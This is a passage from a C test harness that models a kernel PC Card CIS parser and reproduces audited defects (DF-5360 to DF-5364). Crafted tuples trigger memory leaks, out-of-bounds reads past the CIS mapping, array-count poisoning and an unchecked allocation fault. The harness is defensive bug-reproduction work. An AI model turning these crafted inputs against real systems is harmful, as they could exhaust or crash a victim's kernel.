free_cnt, (long)(alloc_cnt - free_cnt)); printf(" every cycle: FUNCID allocs pf + CFTABLE allocs cfe" " (%zu B); the MFC reset at END (pccard_cis.c:638-644)" " frees ONLY pf -> unbounded kmalloc leak inside one" " insertion.\n", CFE_SZ); return 0; } printf("RESULT: S2 UNEXPECTED r=%d iters=%ld\n", r, it); return 1; } static int sc_mfcleak(void) { int sp, r; long it; printf("=== S3 mfcleak: pre-MFC cfe chain leaked (DF-5361) ===\n"); reset_all(); put_tuple(attr_mem, 0x00, 0x1A, 3, (const uint8_t *)"\x00\xff\x00"); put_tuple(attr_mem, 0x05, 0x1B, 2, (const uint8_t *)"\x01\x00"); put_tuple(attr_mem, 0x08, 0x1B, 2, (const uint8_t *)"\x02\x00"); put_tuple(attr_mem, 0x0B, 0x06, 6, (const uint8_t *)"\x01\x00\x00\x00\x00\x00"); put_tuple(attr_mem, 0x13, 0xFF, 0, NULL); r = pccard_scan_cis_model(&g_tuple, &sp, &it); printf(" scan r=%d iters=%ld allocs=%lu frees=%lu\n", r, it, alloc_cnt, free_cnt); if (r == 0 && alloc_cnt > free_cnt) { printf("RESULT: DF-5361 a TERMINATING (well-formed-ish) MFC" " card leaks %ld cfe chunk(s) (%zu B each): the reset at" " pccard_cis.c:638-644 kfree()s the pf structs but never" " drains pf->cfe_head; pccard_detach_card" " (pccard.c:317-324) only frees what is still linked, so" " the leak is permanent per insertion cycle.\n", (long)(alloc_cnt - free_cnt), CFE_SZ); return 0; } printf("RESULT: S3 UNEXPECTED\n"); return 1; } static int sc_checksum(void) { int sp, r; long it; printf("=== S4 checksum: bound check ignores tuple.mult (DF-5363) ===\n"); reset_all(); /* CHECKSUM len=5: offset=0x0004, length=0x0FFB (4091), cksum=0 */ put_tuple(attr_mem, 0x00, 0x10, 5, (const uint8_t *)"\x04\x00\xfb\x0f\x00"); put_tuple(attr_mem, 0x07, 0xFF, 0, NULL); r = pccard_scan_cis_model(&g_tuple, &sp, &it); printf(" scan r=%d iters=%ld\n", r, it); if (oob_read_cnt > 0) { printf("RESULT: DF-5363 %lu bus_space_read_1 calls at offsets" " >= %d (mapping size); max offset %lu = %.2fx the" " mapping. addr=4, length=4091 passes the check at" " pccard_cis.c:247-249 (4+4091=4095 < 4096) but the" " reads at :255-259 run to addr+2*(length-1)=8184 in" " attribute space (mult=2).\n", oob_read_cnt, PCCARD_CIS_SIZE, oob_read_max, (double)oob_read_max / PCCARD_CIS_SIZE); return 0; } printf("RESULT: S4 UNEXPECTED (no OOB reads)\n"); return 1; } static int sc_poison(void) { struct pccard_function *pf; struct pccard_config_entry *cfe; int sp, r, any = 0; long it; printf("=== S5 poison: counts>array persist after error-break" " (DF-5360) ===\n"); reset_all(); put_tuple(attr_mem, 0x00, 0x1A, 3, (const uint8_t *)"\x00\xff\x00"); /* num=1 def; FS=IOSPACE; IO=0x80 HASRANGE; range=0xFF -> * LEN4|ADDR4|COUNT=15 -> num_iospace=16 -> error++, break */ put_tuple(attr_mem, 0x05, 0x1B, 4, (const uint8_t *)"\x41\x08\x80\xff"); /* num=2; FS=MEMSPACE TABLE; table byte 0x07 -> num_memspace=8 -> * error++, break */ put_tuple(attr_mem, 0x0B, 0x1B, 3, (const uint8_t *)"\x02\x60\x07"); put_tuple(attr_mem, 0x10, 0xFF, 0, NULL); r = pccard_scan_cis_model(&g_tuple, &sp, &it); printf(" scan r=%d iters=%ld card.error=%u poison_io=%d" " poison_mem=%d\n", r, it, g_card.error, poison_iospace_seen, poison_memspace_seen); STAILQ_FOREACH(pf, &g_card.pf_head, pf_list) { STAILQ_FOREACH(cfe, &pf->cfe_head, cfe_list) { printf(" live cfe number=%d num_iospace=%d" " (array %zu) num_memspace=%d (array %zu)\n", cfe->number, cfe->num_iospace, sizeof(cfe->iospace) / sizeof(cfe->iospace[0]), cfe->num_memspace, sizeof(cfe->memspace) / sizeof(cfe->memspace[0])); if (cfe->num_iospace > (int)(sizeof(cfe->iospace)/sizeof(cfe->iospace[0])) || cfe->num_memspace > (int)(sizeof(cfe->memspace)/sizeof(cfe->memspace[0]))) { any = 1; if (g_card.error) printf(" GATE: card.error=%u ->" " pccard_attach_card bails at" " pccard.c:204-208 TODAY, so the" " consumer loops below are" " LATENT; any consumer that" " trusts the stored counts reads" " OOB:\n", g_card.error); consumer_io_loops(cfe); } } } if (any) { printf("RESULT: DF-5360 counts > array size are stored on the" " queue-inserted cfe BEFORE validation (:1044/:1164) and" " the error-break (:1054/:1174) leaves them; the" " default-copy *cfe = *default_cfe (:914) then propagates" " them to later entries.\n"); return 0; } printf("RESULT: S5 UNEXPECTED\n"); return 1; } static int sc_kmallocfail(void) { int sp, r; long it; printf("=== S6 kmallocfail: unchecked M_NOWAIT (DF-5364) ===\n"); reset_all(); put_tuple(attr_mem, 0x00, 0x21, 1, (const uint8_t *)"\x02"); put_tuple(attr_mem, 0x03, 0xFF, 0, NULL); fail_next_alloc = 1; r = pccard_scan_cis_model(&g_tuple, &sp, &it); if (df5364_hit) { printf(" (scan unwound r=%d; kernel would have faulted" " before this point)\n", r); return 0; } printf("RESULT: S6 UNEXPECTED r=%d\n", r); return 1; } static int sc_negative(void) { int sp, r, i, ok = 1; long it; printf("=== SN negatives ===\n"); reset_all(); /* VERS_1: major 4 minor 1, "AB\0CD\0EF\0GH", 0xFF terminator */ { uint8_t v[13] = {4, 1, 'A', 'B', 0, 'C', 'D', 0, 'E', 'F', 0, 'G', 'H'}; put_tuple(attr_mem, 0x00, 0x15, 13, v); attr_mem[2 * (0 + 2 + 13)] = 0xFF; /* stop byte */ } put_tuple(attr_mem, 0x0F, 0xFF, 0, NULL); r = pccard_scan_cis_model(&g_tuple, &sp, &it); printf(" scan r=%d iters=%ld\n", r, it); for (i = 0; i < 4; i++) { if (g_card.cis1_info[i] == NULL) continue; const char *p, *end = g_card.cis1_info_buf + 256; int term = 0; for (p = g_card.cis1_info[i]; p < end; p++) if (*p == 0) { term = 1; break; } printf(" cis1_info[%d] = \"%s\" %s\n", i, g_card.cis1_info[i], term ? "NUL-terminated in-bounds" : "UNTERMINATED"); if (!term) ok = 0; } if (g_card.cis1_info[3] != NULL) { printf(" cis1_info[3] unexpectedly set\n"); ok = 0; } /* MFC :324 panic reachability */ { int cnt, maxc = -1; for (cnt = 0; cnt <= 255; cnt++) if (cnt * 5 + 1 <= 255) maxc = cnt; printf(" MFC :312 (length==count*5+1, length<=255) admits" " count<=%d < 51 stack slots -> :324 panic() dead code\n", maxc); } /* FUNCE LAN NID bounds */ reset_all(); put_tuple(attr_mem, 0x00, 0x21, 1, (const uint8_t *)"\x06"); put_tuple(attr_mem, 0x03, 0x22, 11, (const uint8_t *)"\x04\x09\x01\x02\x03\x04\x05\x06\x07\x08\x09"); put_tuple(attr_mem, 0x10, 0x22, 10, (const uint8_t *)"\x04\x08\x01\x02\x03\x04\x05\x06\x07\x08"); put_tuple(attr_mem, 0x1C, 0xFF, 0, NULL); r = pccard_scan_cis_model(&g_tuple, &sp, &it); { struct pccard_function *pf = STAILQ_FIRST(&g_card.pf_head); int nid = pf ? pf->pf_funce_lan_nidlen : -1; printf(" FUNCE NID: nidlen=%d (len=9 rejected by 'len > 8' at" " :1279; len=8 accepted, pfl_nid[8] never overrun)\n", nid); if (nid != 8) ok = 0; } printf("RESULT: SN negatives %s\n", ok ? "confirmed (checked, no new defect)" : "FAILED"); return ok ? 0 : 1; } int main(int argc, char **argv) { const char *s = argc > 1 ? argv[1] : "all"; int rc = 0; if (!strcmp(s, "livelock")) rc = sc_livelock(); else if (!strcmp(s, "leakloop")) rc = sc_leakloop(); else if (!strcmp(s, "mfcleak")) rc = sc_mfcleak(); else if (!strcmp(s, "checksum")) rc = sc_checksum(); else if (!strcmp(s, "poison")) rc = sc_poison(); else if (!strcmp(s, "kmallocfail")) rc = sc_kmallocfail(); else if (!strcmp(s, "negative")) rc = sc_negative(); else if (!strcmp(s, "all")) { rc |= sc_livelock(); rc |= sc_leakloop(); rc |= sc_mfcleak(); rc |= sc_checksum(); rc |= sc_poison(); rc |= sc_negative(); rc |= sc_kmallocfail(); } else { fprintf(stderr, "unknown scenario %s\n", s); return 2; } return rc; }